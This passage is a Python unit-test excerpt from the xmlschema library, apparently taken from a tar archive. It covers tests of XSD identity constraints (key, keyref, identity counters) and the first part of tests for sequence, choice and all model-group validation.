self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> <xs:keyref name="keyref1" refer="keyref2"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:keyref> <xs:keyref name="keyref2" refer="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:keyref> </xs:element>""", validation='lax') self.assertEqual(len(schema.all_errors), 1) self.assertIn("reference to a non key/unique identity constraint", schema.all_errors[0].message) def test_cardinality_mismatch_keyref_refer(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> <xs:keyref name="keyref1" refer="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> <xs:field xpath="."/> </xs:keyref> </xs:element>""", validation='lax') self.assertEqual(len(schema.all_errors), 1) self.assertIn("field cardinality mismatch", schema.all_errors[0].message) def test_build(self): schema = self.check_schema(""" <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element ref="a" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="b" type="xs:string"/> </xs:complexType> <xs:key name="key1"> <xs:selector xpath=".//root/a"/> <xs:field xpath="@b"/> </xs:key> </xs:element> <xs:element name="a"> <xs:complexType> <xs:attribute name="b" type="xs:string"/> </xs:complexType> </xs:element>""") self.assertIn(schema.elements['a'], schema.identities['key1'].elements) self.assertEqual(len(schema.identities['key1'].elements), 1) self.assertTrue(all( isinstance(x, FieldValueSelector) for x in schema.identities['key1'].elements[schema.elements['a']] )) def test_identity_counter(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> </xs:element>""") elem = ElementTree.XML('<primary_key>3</primary_key>') counter = IdentityCounter(schema.identities['key1'], elem) self.assertEqual(repr(counter), 'IdentityCounter()') self.assertIsNone(counter.increase(('1',))) self.assertIsNone(counter.increase(('2',))) self.assertEqual(repr(counter), "IdentityCounter({('1',): 1, ('2',): 1})") with self.assertRaises(ValueError) as ctx: counter.increase(('1',)) self.assertIn("duplicated value ('1',)", str(ctx.exception)) self.assertIsNone(counter.increase(('1',))) self.assertEqual(counter.counter[('1',)], 3) def test_keyref_counter(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> <xs:keyref name="keyref1" refer="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:keyref> </xs:element>""") elem = ElementTree.XML('<primary_key>3</primary_key>') counter = KeyrefCounter(schema.identities['keyref1'], elem) self.assertIsNone(counter.increase(('1',))) self.assertIsNone(counter.increase(('2',))) self.assertIsNone(counter.increase(('1',))) self.assertIsNone(counter.increase(('3',))) self.assertIsNone(counter.increase(('3',))) self.assertIsNone(counter.increase(('4',))) with self.assertRaises(KeyError): list(counter.iter_errors(identities={})) key_counter = IdentityCounter(schema.identities['key1'], elem) self.assertIsNone(key_counter.increase(('1',))) self.assertIsNone(key_counter.increase('4')) identities = {schema.identities['key1']: key_counter} errors = list(counter.iter_errors(identities)) self.assertEqual(len(errors), 2) self.assertIn("value ('2',) not found", str(errors[0])) self.assertIn("value ('3',) not found", str(errors[1])) self.assertIn("(2 times)", str(errors[1])) def test_key_multiple_values__issue_418(self): xsd_file = self.casepath('issues/issue_418/issue_418.xsd') schema = self.schema_class(xsd_file) xml_file = self.casepath('issues/issue_418/issue_418.xml') self.assertIsNone(schema.validate(xml_file)) xml_file = self.casepath('issues/issue_418/issue_418-invalid.xml') with self.assertRaises(XMLSchemaValidationError) as ctx: schema.validate(xml_file) self.assertIn("field selects multiple values", str(ctx.exception)) class TestXsd11Identities(TestXsdIdentities): schema_class = XMLSchema11 def test_key_reference_definition(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> </xs:element> <xs:element name="secondary_key" type="xs:string"> <xs:key ref="key1"/> </xs:element>""") key1 = schema.identities['key1'] self.assertIsNot(schema.elements['secondary_key'].identities[0], key1) self.assertIs(schema.elements['secondary_key'].identities[0].ref, key1) def test_missing_key_reference_definition(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> </xs:element> <xs:element name="secondary_key" type="xs:string"> <xs:key ref="unknown_key"/> </xs:element>""", validation='lax') errors = schema.all_errors self.assertEqual(len(errors), 1) self.assertEqual("unknown identity constraint 'unknown_key'", errors[0].message) def test_different_kind_key_reference_definition(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> </xs:element> <xs:element name="secondary_key" type="xs:string"> <xs:unique ref="key1"/> </xs:element>""", validation='lax') errors = schema.all_errors self.assertEqual(len(errors), 1) self.assertEqual("attribute 'ref' points to a different kind constraint", errors[0].message) def test_keyref_reference_definition(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> <xs:keyref name="keyref1" refer="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:keyref> </xs:element> <xs:element name="secondary_key" type="xs:string"> <xs:keyref ref="keyref1"/> </xs:element>""") self.assertIsNot(schema.elements['secondary_key'].identities[0], schema.elements['primary_key'].identities[-1]) self.assertIs(schema.elements['secondary_key'].identities[0].ref, schema.elements['primary_key'].identities[-1]) def test_xsi_type_substitution__issue_446(self): xsd_file = self.casepath('features/substitutions/words.xsd') schema = self.schema_class(xsd_file) xml_data = '<words><word>foo</word></words>' self.assertTrue(schema.is_valid(xml_data)) xml_data = '<words><word>foo</word><word>foo</word></words>' self.assertFalse(schema.is_valid(xml_data)) xml_file = self.casepath('features/substitutions/words1.xml') self.assertTrue(schema.is_valid(xml_file)) xml_file = self.casepath('features/substitutions/words2.xml') self.assertTrue(schema.is_valid(xml_file)) xml_file = self.casepath('features/substitutions/words3.xml') self.assertFalse(schema.is_valid(xml_file)) xml_file = self.casepath('features/substitutions/words4.xml') self.assertFalse(schema.is_valid(xml_file)) def test_selector_default_namespace(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="." xpathDefaultNamespace="https://xmlschema.test/ns"/> <xs:field xpath="." xpathDefaultNamespace="##targetNamespace"/> </xs:key> </xs:element>""") self.assertEqual(schema.identities['key1'].selector.xpath_default_namespace, 'https://xmlschema.test/ns') self.assertEqual(schema.identities['key1'].fields[0].xpath_default_namespace, '') if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('identities') �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_models.py�����������������������������������������������������0000664�0000000�0000000�00000215336�15020401055�0021705�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """Tests concerning model groups validation""" import unittest import copy import pathlib from itertools import zip_longest from textwrap import dedent from typing import Any, Union, List, Optional from xmlschema import XMLSchema11 from xmlschema.exceptions import XMLSchemaValueError from xmlschema.validators.exceptions import XMLSchemaValidationError, XMLSchemaModelError from xmlschema.validators.particles import ParticleMixin from xmlschema.validators.models import distinguishable_paths, ModelVisitor, \ sort_content, iter_collapsed_content from xmlschema.validators.groups import XsdGroup from xmlschema.validators.elements import XsdElement from xmlschema.testing import XsdValidatorTestCase class ModelGroup(XsdGroup): """A subclass for testing XSD models, that disables element parsing and schema bindings.""" def __init__(self, model: str, min_occurs: int = 1, max_occurs: Optional[int] = 1) -> None: ParticleMixin.__init__(self, min_occurs, max_occurs) if model not in {'sequence', 'choice', 'all'}: raise XMLSchemaValueError(f"invalid model {model!r} for a group") self._group: List[Union[ParticleMixin, 'ModelGroup']] = [] self.content = self._group self.model: str = model def __repr__(self) -> str: return '%s(model=%r, occurs=%r)' % (self.__class__.__name__, self.model, self.occurs) append: Any class TestModelValidation(XsdValidatorTestCase): cases_dir = pathlib.Path(__file__).parent.joinpath('../test_cases') # --- Test helper functions --- def check_advance_true(self, model, expected=None): """ Advances a model with a match condition and checks the expected error list or exception. :param model: an ModelGroupVisitor instance. :param expected: can be an exception class or a list. Leaving `None` means that an empty \ list is expected. """ if isinstance(expected, type) and issubclass(expected, Exception): self.assertRaises(expected, lambda x: list(model.advance(x)), True) else: self.assertEqual([e for e in model.advance(True)], expected or []) def check_advance_false(self, model, expected=None): """ Advances a model with a no-match condition and checks the expected error list or exception. :param model: an ModelGroupVisitor instance. :param expected: can be an exception class or a list. Leaving `None` means that \ an empty list is expected. """ if isinstance(expected, type) and issubclass(expected, Exception): self.assertRaises(expected, lambda x: list(model.advance(x)), False) else: self.assertEqual([e for e in model.advance(False)], expected or []) def check_advance(self, model, match, expected=None): """ Advances a model with an argument match condition and checks the expected error list. :param model: an ModelGroupVisitor instance. :param match: the matching boolean condition. :param expected: can be an exception class or a list. Leaving `None` means that an empty \ list is expected. """ if isinstance(expected, type) and issubclass(expected, Exception): self.assertRaises(expected, lambda x: list(model.advance(x)), match) else: self.assertEqual([e for e in model.advance(match)], expected or []) def check_stop(self, model, expected=None): """ Stops a model and checks the expected errors list. :param model: an ModelGroupVisitor instance. :param expected: can be an exception class or a list. Leaving `None` means that an empty \ list is expected. """ if isinstance(expected, type) and issubclass(expected, Exception): self.assertRaises(expected, lambda: list(model.stop())) else: self.assertEqual([e for e in model.stop()], expected or []) def check_copy_equivalence(self, model1, model2): """ Advances a model with an argument match condition and checks the expected error list. """ self.assertIs(model1.root, model2.root) self.assertIs(model1.element, model2.element) self.assertIs(model1.group, model2.group) self.assertIs(model1.match, model2.match) self.assertIsNot(model1.occurs, model2.occurs) self.assertEqual(model1.occurs, model2.occurs) self.assertIsNot(model1._groups, model2._groups) self.assertEqual(len(model1._groups), len(model2._groups)) for t1, t2 in zip(model1._groups, model2._groups): self.assertIs(t1[0], t2[0]) self.assertIs(t1[2], t2[2]) for o1, o2 in zip_longest(t1[1], t2[1]): self.assertIs(o1, o2) for o1, o2 in zip_longest(model1.items, model2.items): self.assertIs(o1, o2) # --- ModelVisitor methods --- def test_iter_group(self): group = ModelGroup('sequence', min_occurs=0, max_occurs=0) model = ModelVisitor(group) self.assertListEqual(list(model.items), []) group = ModelGroup('choice') group.append(ParticleMixin()) group.append(ParticleMixin()) group.append(ParticleMixin()) model = ModelVisitor(group) model.occurs[group[1]] = 1 self.assertEqual(list(model.items), group[1:]) group = ModelGroup('all') group.append(ParticleMixin()) group.append(ParticleMixin()) group.append(ParticleMixin()) model = ModelVisitor(group) model.occurs[group[1]] = 1 self.assertEqual(list(model.items), group[2:]) # --- Vehicles schema --- def test_vehicles_model(self): # Sequence with two not-emptiable single-occurs elements group = self.vh_schema.elements['vehicles'].type.content model = ModelVisitor(group) self.check_advance_true(model) # <cars> self.check_advance_true(model) # <bikes> self.assertIsNone(model.element) model = ModelVisitor(group) self.check_advance_true(model) # <cars> self.check_advance_true(model) # <bikes> self.check_advance_true(model, ValueError) # <bikes> self.assertIsNone(model.element) def test_cars_model(self): # Emptiable 1:1 sequence with one emptiable and unlimited element. group = self.vh_schema.elements['cars'].type.content model = ModelVisitor(group) self.check_advance_true(model) # <car> self.check_advance_true(model) # <car> self.check_advance_true(model) # <car> self.check_advance_false(model) # (end) self.assertIsNone(model.element) model = ModelVisitor(group) self.check_advance_false(model) # <not-a-car> self.assertIsNone(model.element) # --- Collection schema --- def test_collection_model(self): # Sequence with one not-emptiable and unlimited element. group = self.col_schema.elements['collection'].type.content model = ModelVisitor(group) self.check_advance_true(model) # <car> self.check_advance_true(model) # <car> self.check_advance_true(model) # <car> self.check_advance_true(model) # <car> self.check_advance_false(model) # (end) self.assertIsNone(model.element) model = ModelVisitor(group) self.check_advance_false( model, [(group[0], 0, [group[0]]), (group, 0, [group[0]])] ) # <not-a-car> self.assertIsNone(model.element) def test_person_type_model(self): # Sequence with four single elements, last two are also emptiable. group = self.col_schema.types['personType'].content model = ModelVisitor(group) self.check_advance_true(model) # <name> self.check_advance_true(model) # <born> self.check_advance_true(model) # <dead> self.check_advance_true(model) # <qualification> self.assertIsNone(model.element) model = ModelVisitor(group) self.check_advance_true(model) # <name> self.check_advance_true(model) # <born> self.check_stop(model) self.assertIsNone(model.element) model = ModelVisitor(group) self.check_advance_true(model) # <name> match self.check_advance_false(model, [(group[1], 0, [group[1]])]) # <born> missing! self.check_advance_true(model) # <dead> match self.check_stop(model) # <qualification> is optional self.assertIsNone(model.element) # --- XSD 1.0/1.1 meta-schema models --- def test_meta_simple_derivation_model(self): """ <xs:group name="simpleDerivation"> <xs:choice> <xs:element ref="xs:restriction"/> <xs:element ref="xs:list"/> <xs:element ref="xs:union"/> </xs:choice> </xs:group> """ group = self.schema_class.meta_schema.groups['simpleDerivation'] model = ModelVisitor(group) self.check_advance_true(model) # <restriction> matches self.assertIsNone(model.element) model = ModelVisitor(group) self.check_advance_false(model) # <list> doesn't match with <restriction> self.check_advance_true(model) # <list> matches self.assertIsNone(model.element) model = ModelVisitor(group) self.check_advance_false(model) # <union> doesn't match with <restriction> self.check_advance_false(model) # <union> doesn't match with <list> self.check_advance_true(model) # <union> matches self.assertIsNone(model.element) model = ModelVisitor(group) self.check_advance_false(model) # <other> doesn't match with <restriction> self.check_advance_false(model) # <other> doesn't match with <list> self.check_advance_false(model, [(group, 0, group[:])]) # <other> doesn't match with <union> self.assertIsNone(model.element) def test_meta_simple_restriction_model(self): """ <!-- XSD 1.0 --> <xs:group name="facets"> <xs:choice> <xs:element ref="xs:minExclusive"/> <xs:element ref="xs:minInclusive"/> <xs:element ref="xs:maxExclusive"/> <xs:element ref="xs:maxInclusive"/> <xs:element ref="xs:totalDigits"/> <xs:element ref="xs:fractionDigits"/> <xs:element ref="xs:length"/> <xs:element ref="xs:minLength"/> <xs:element ref="xs:maxLength"/> <xs:element ref="xs:enumeration"/> <xs:element ref="xs:whiteSpace"/> <xs:element ref="xs:pattern"/> </xs:choice> </xs:group> <xs:group name="simpleRestrictionModel"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> <xs:group ref="xs:facets" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <!-- XSD 1.1 --> <xs:group name="simpleRestrictionModel"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="xs:facet"/> <!-- Use a substitution group --> <xs:any processContents="lax" namespace="##other"/> </xs:choice> </xs:sequence> </xs:group> """ # Sequence with an optional single element and an optional unlimited choice. group = self.schema_class.meta_schema.groups['simpleRestrictionModel'] model = ModelVisitor(group) if self.schema_class.XSD_VERSION == '1.0': self.assertEqual(model.element, group[0]) self.check_advance_true(model) # <simpleType> matches self.assertEqual(model.element, group[1][0][0]) self.check_advance_false(model) # <maxExclusive> does not match self.assertEqual(model.element, group[1][0][1]) self.check_advance_false(model) # <maxExclusive> does not match self.assertEqual(model.element, group[1][0][2]) self.check_advance_true(model) # <maxExclusive> matches self.assertEqual(model.element, group[1][0][0]) for _ in range(12): self.check_advance_false(model) # no match for the inner choice group "xs:facets" self.assertIsNone(model.element) def test_meta_schema_top_model(self): """ <xs:group name="schemaTop"> <xs:choice> <xs:group ref="xs:redefinable"/> <xs:element ref="xs:element"/> <xs:element ref="xs:attribute"/> <xs:element ref="xs:notation"/> </xs:choice> </xs:group> <xs:group name="redefinable"> <xs:choice> <xs:element ref="xs:simpleType"/> <xs:element ref="xs:complexType"/> <xs:element ref="xs:group"/> <xs:element ref="xs:attributeGroup"/> </xs:choice> </xs:group> """ group = self.schema_class.meta_schema.groups['schemaTop'] model = ModelVisitor(group) self.assertEqual(model.element, group[0][0][0]) self.check_advance_false(model) # <simpleType> doesn't match self.assertEqual(model.element, group[0][0][1]) self.check_advance_true(model) # <complexType> matches self.assertIsNone(model.element) model.restart() self.assertEqual(model.element, group[0][0][0]) self.check_advance_false(model) # <simpleType> doesn't match self.assertEqual(model.element, group[0][0][1]) self.check_advance_false(model) # <complexType> doesn't match self.assertEqual(model.element, group[0][0][2]) self.check_advance_false(model) # <group> doesn't match self.assertEqual(model.element, group[0][0][3]) self.check_advance_false(model) # <attributeGroup> doesn't match self.assertEqual(model.element, group[1]) self.check_advance_false(model) # <element> doesn't match self.assertEqual(model.element, group[2]) self.check_advance_false(model) # <attribute> doesn't match self.assertEqual(model.element, group[3]) self.check_advance_false( model, [(group, 0, group[0][0][:] + group[1:])]) # <notation> doesn't match model.restart() self.assertEqual(model.element, group[0][0][0]) self.check_advance_false(model) # <simpleType> doesn't match self.assertEqual(model.element, group[0][0][1]) self.check_advance_false(model) # <complexType> doesn't match self.assertEqual(model.element, group[0][0][2]) self.check_advance_false(model) # <group> doesn't match self.assertEqual(model.element, group[0][0][3]) self.check_advance_false(model) # <attributeGroup> doesn't match self.assertEqual(model.element, group[1]) self.check_advance_false(model) # <element> doesn't match self.assertEqual(model.element, group[2]) self.check_advance_true(model) # <attribute> doesn't match self.assertIsNone(model.element) def test_meta_attr_declarations_group(self): """ <xs:group name="attrDecls"> <xs:sequence> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="attribute" type="xs:attribute"/> <xs:element name="attributeGroup" type="xs:attributeGroupRef"/> </xs:choice> <xs:element ref="xs:anyAttribute" minOccurs="0"/> </xs:sequence> </xs:group> """ group = self.schema_class.meta_schema.groups['attrDecls'] model = ModelVisitor(group) for match in [False, False, True]: self.check_advance(model, match) self.assertIsNone(model.element) model = ModelVisitor(group) self.check_advance_false(model) self.check_advance_true(model) self.assertEqual(model.element, group[0][0]) model = ModelVisitor(group) for match in [False, True, False, False]: self.check_advance(model, match) self.assertEqual(model.element, group[1]) model = ModelVisitor(group) for match in [False, True, True, False, True, False, False]: self.check_advance(model, match) self.assertEqual(model.element, group[1]) def test_meta_complex_type_model(self): """ <xs:group name="complexTypeModel"> <xs:choice> <xs:element ref="xs:simpleContent"/> <xs:element ref="xs:complexContent"/> <xs:sequence> <xs:group ref="xs:typeDefParticle" minOccurs="0"/> <xs:group ref="xs:attrDecls"/> </xs:sequence> </xs:choice> </xs:group> <xs:group name="typeDefParticle"> <xs:choice> <xs:element name="group" type="xs:groupRef"/> <xs:element ref="xs:all"/> <xs:element ref="xs:choice"/> <xs:element ref="xs:sequence"/> </xs:choice> </xs:group> <xs:group name="complexTypeModel"> <xs:choice> <xs:element ref="xs:simpleContent"/> <xs:element ref="xs:complexContent"/> <xs:sequence> <xs:element ref="xs:openContent" minOccurs="0"/> <xs:group ref="xs:typeDefParticle" minOccurs="0"/> <xs:group ref="xs:attrDecls"/> <xs:group ref="xs:assertions"/> </xs:sequence> </xs:choice> </xs:group> """ group = self.schema_class.meta_schema.groups['complexTypeModel'] model = ModelVisitor(group) self.assertEqual(model.element, group[0]) self.check_advance_true(model) # <simpleContent> matches self.assertIsNone(model.element) model.restart() self.assertEqual(model.element, group[0]) self.check_advance_false(model) self.check_advance_true(model) # <complexContent> matches self.assertIsNone(model.element) if self.schema_class.XSD_VERSION == '1.0': model.restart() self.assertEqual(model.element, group[0]) for match in [False, False, False, False, True]: self.check_advance(model, match) # <all> matches self.check_stop(model) self.assertIsNone(model.element) model.restart() self.assertEqual(model.element, group[0]) for match in [False, False, False, False, True, False, True, False, False, False]: self.check_advance(model, match) # <all> and <attributeGroup> match self.assertIsNone(model.element) def test_meta_schema_document_model(self): group = self.schema_class.meta_schema.elements['schema'].type.content # A schema model with a wrong tag model = ModelVisitor(group) if self.schema_class.XSD_VERSION == '1.0': self.assertEqual(model.element, group[0][0]) self.check_advance_false(model) # eg. anyAttribute self.check_stop(model) else: self.assertEqual(model.element, group[0][0][0]) # # Tests on schema test_cases/features/models/models.xsd def test_model_group1(self): group = self.models_schema.groups['group1'] model = ModelVisitor(group) self.assertEqual(model.element, group[0]) self.check_stop(model) model.restart() self.assertEqual(model.element, group[0]) for _ in range(3): self.check_advance_false(model) self.assertIsNone(model.element) model.restart() for match in [False, True, False]: self.check_advance(model, match) self.assertIsNone(model.element) def test_model_group2(self): group = self.models_schema.groups['group2'] model = ModelVisitor(group) self.assertEqual(model.element, group[0]) for _ in range(3): self.check_advance_false(model) # group1 do not match self.assertEqual(model.element, group[1][0][0][2]) # <elem3> of group1 for _ in range(8): self.check_advance_false(model) self.assertEqual(model.element, group[2]) # <elem12> self.check_advance_false(model) self.assertEqual(model.element, group[3]) # <elem13> self.check_advance_false(model) self.assertIsNone(model.element) def test_model_group3(self): group = self.models_schema.groups['group3'] model = ModelVisitor(group) self.assertEqual(model.element, group[0]) for match in [True, False, True]: self.check_advance(model, match) self.check_stop(model) def test_model_group4(self): group = self.models_schema.groups['group4'] model = ModelVisitor(group) self.assertEqual(model.element, group[0]) for match in [True, False, True]: self.check_advance(model, match) self.check_stop(model) def test_model_group5(self): group = self.models_schema.groups['group5'] model = ModelVisitor(group) self.assertEqual(model.element, group[0][0]) for _ in range(5): # match [<elem1> .. <elem5>] self.check_advance_true(model) self.assertEqual(model.element.name, 'elem6') self.check_advance_true(model) # match choice with <elem6> self.check_stop(model) def test_model_group6(self): group = self.models_schema.groups['group6'] model = ModelVisitor(group) self.assertEqual(model.element, group[0][0]) self.check_advance_true(model) # match choice with <elem1> self.check_advance_true(model) # match choice with <elem2> self.assertIsNone(model.element) def test_model_group7(self): group = self.models_schema.types['complexType7'].content model = ModelVisitor(group) self.assertEqual(model.element, group[0][0]) self.check_stop( model, [(group[0][0], 0, [group[0][0]]), (group, 0, [group[0][0]])] ) group = self.models_schema.types['complexType7_emptiable'].content model = ModelVisitor(group) self.assertEqual(model.element, group[0][0]) self.check_stop(model) def test_model_group8(self): group = self.models_schema.groups['group8'] model = ModelVisitor(group) self.assertEqual(model.element, group[0][0]) self.check_advance_true(model) # match choice with <elem1> self.check_advance_false(model) self.assertEqual(model.element, group[0][1]) self.check_advance_true(model) # match choice with <elem2> self.assertEqual(model.element, group[0][2]) self.check_advance_true(model) # match choice with <elem3> self.assertEqual(model.element, group[0][3]) self.check_advance_true(model) # match choice with <elem4> self.assertIsNone(model.element) # # Test pathological cases def test_empty_choice_groups(self): schema = self.schema_class("""<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:group name="group1"> <xs:sequence> <xs:choice minOccurs="0"> <xs:choice minOccurs="0"/> </xs:choice> <xs:element name="elem1"/> </xs:sequence> </xs:group> <xs:element name="root"> <xs:complexType> <xs:choice> <xs:group ref="group1"/> </xs:choice> </xs:complexType> </xs:element> </xs:schema>""") xml_data = "<root><elem1/></root>" model = ModelVisitor(schema.elements['root'].type.content) self.assertIsInstance(model.element, XsdElement) self.assertEqual(model.element.name, 'elem1') self.assertIsNone(schema.validate(xml_data)) # W3C test group 'complex022' schema = self.schema_class("""<?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:choice/> </xs:complexType> </xs:element> </xs:schema>""") reason = "an empty 'choice' group with minOccurs > 0 cannot validate any content" with self.assertRaises(XMLSchemaValidationError) as ctx: schema.validate("<root><elem1/></root>") self.assertIn(reason, str(ctx.exception)) with self.assertRaises(XMLSchemaValidationError) as ctx: schema.validate("<root/>") self.assertIn(reason, str(ctx.exception)) def test_single_item_groups(self): schema = self.schema_class("""<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="a1"> <xs:complexType> <xs:choice> <xs:any maxOccurs="2" processContents="lax"/> </xs:choice> </xs:complexType> </xs:element> <xs:element name="a2"> <xs:complexType> <xs:choice> <xs:any maxOccurs="2" processContents="strict"/> </xs:choice> </xs:complexType> </xs:element> <xs:element name="a3"> <xs:complexType> <xs:sequence> <xs:any maxOccurs="2" processContents="lax"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="a4"> <xs:complexType> <xs:choice> <xs:element name="b" maxOccurs="2"/> </xs:choice> </xs:complexType> </xs:element> <xs:element name="a5"> <xs:complexType> <xs:sequence> <xs:element name="b" maxOccurs="2"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="b"/> </xs:schema>""") self.assertFalse(schema.is_valid('<a1></a1>')) self.assertFalse(schema.is_valid('<a2></a2>')) self.assertFalse(schema.is_valid('<a3></a3>')) self.assertFalse(schema.is_valid('<a4></a4>')) self.assertFalse(schema.is_valid('<a5></a5>')) self.assertTrue(schema.is_valid('<a1><c/></a1>')) self.assertFalse(schema.is_valid('<a2><c/></a2>')) self.assertTrue(schema.is_valid('<a3><c/></a3>')) self.assertFalse(schema.is_valid('<a4><c/></a4>')) self.assertFalse(schema.is_valid('<a5><c/></a5>')) self.assertTrue(schema.is_valid('<a1><b/></a1>')) self.assertTrue(schema.is_valid('<a2><b/></a2>')) self.assertTrue(schema.is_valid('<a3><b/></a3>')) self.assertTrue(schema.is_valid('<a4><b/></a4>')) self.assertTrue(schema.is_valid('<a5><b/></a5>')) self.assertTrue(schema.is_valid('<a1><b/><b/></a1>')) self.assertTrue(schema.is_valid('<a2><b/><b/></a2>')) self.assertTrue(schema.is_valid('<a3><b/><b/></a3>')) self.assertTrue(schema.is_valid('<a4><b/><b/></a4>')) self.assertTrue(schema.is_valid('<a5><b/><b/></a5>')) self.assertFalse(schema.is_valid('<a1><b/><b/><b/></a1>')) self.assertFalse(schema.is_valid('<a2><b/><b/><b/></a2>')) self.assertFalse(schema.is_valid('<a3><b/><b/><b/></a3>')) self.assertFalse(schema.is_valid('<a4><b/><b/><b/></a4>')) self.assertFalse(schema.is_valid('<a5><b/><b/><b/></a5>')) def test_sequence_model_with_extended_occurs(self): schema = self.schema_class( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence minOccurs="2" maxOccurs="unbounded"> <xs:element name="ax" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> """) self.assertIsNone(schema.validate('<root><ax/><ax/></root>')) schema = self.schema_class( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:element name="a" minOccurs="2" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> """) self.assertIsNone(schema.validate('<root><a/><a/></root>')) self.assertIsNone(schema.validate('<root><a/><a/><a/></root>')) self.assertIsNone(schema.validate('<root><a/><a/><a/><a/><a/><a/></root>')) def test_sequence_model_with_nested_choice_model(self): schema = self.schema_class( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:group ref="group1" minOccurs="2" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> <xs:group name="group1"> <xs:choice> <xs:element name="a" maxOccurs="unbounded"/> <xs:element name="b"/> <xs:element name="c"/> </xs:choice> </xs:group> </xs:schema> """) self.assertIsNone(schema.validate('<root><a/><a/></root>')) self.assertIsNone(schema.validate('<root><a/><a/><a/></root>')) self.assertIsNone(schema.validate('<root><a/><a/><a/><a/><a/><a/></root>')) def test_sequence_model_with_optional_elements(self): schema = self.schema_class( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence minOccurs="2" maxOccurs="2"> <xs:element name="a" minOccurs="1" maxOccurs="2" /> <xs:element name="b" minOccurs="0" /> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> """) self.assertIsNone(schema.validate('<root><a/><a/><b/></root>')) def test_choice_model_with_extended_occurs(self): schema = self.schema_class( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:choice maxOccurs="unbounded" minOccurs="0"> <xs:element maxOccurs="5" minOccurs="3" name="a"/> <xs:element maxOccurs="5" minOccurs="3" name="b"/> </xs:choice> </xs:complexType> </xs:element> </xs:schema> """) self.assertIsNone(schema.validate('<root><a/><a/><a/></root>')) self.assertIsNone(schema.validate('<root><a/><a/><a/><a/><a/></root>')) self.assertIsNone(schema.validate('<root><a/><a/><a/><a/><a/><a/></root>')) schema = self.schema_class( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:choice minOccurs="2" maxOccurs="3"> <xs:element name="a" maxOccurs="unbounded"/> <xs:element name="b" maxOccurs="unbounded"/> <xs:element name="c"/> </xs:choice> </xs:complexType> </xs:element> </xs:schema> """) self.assertIsNone(schema.validate('<root><a/><a/><a/></root>')) def test_emptiable_all_model(self): schema = self.schema_class(dedent( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:all minOccurs="0"> <xs:element name="a" /> 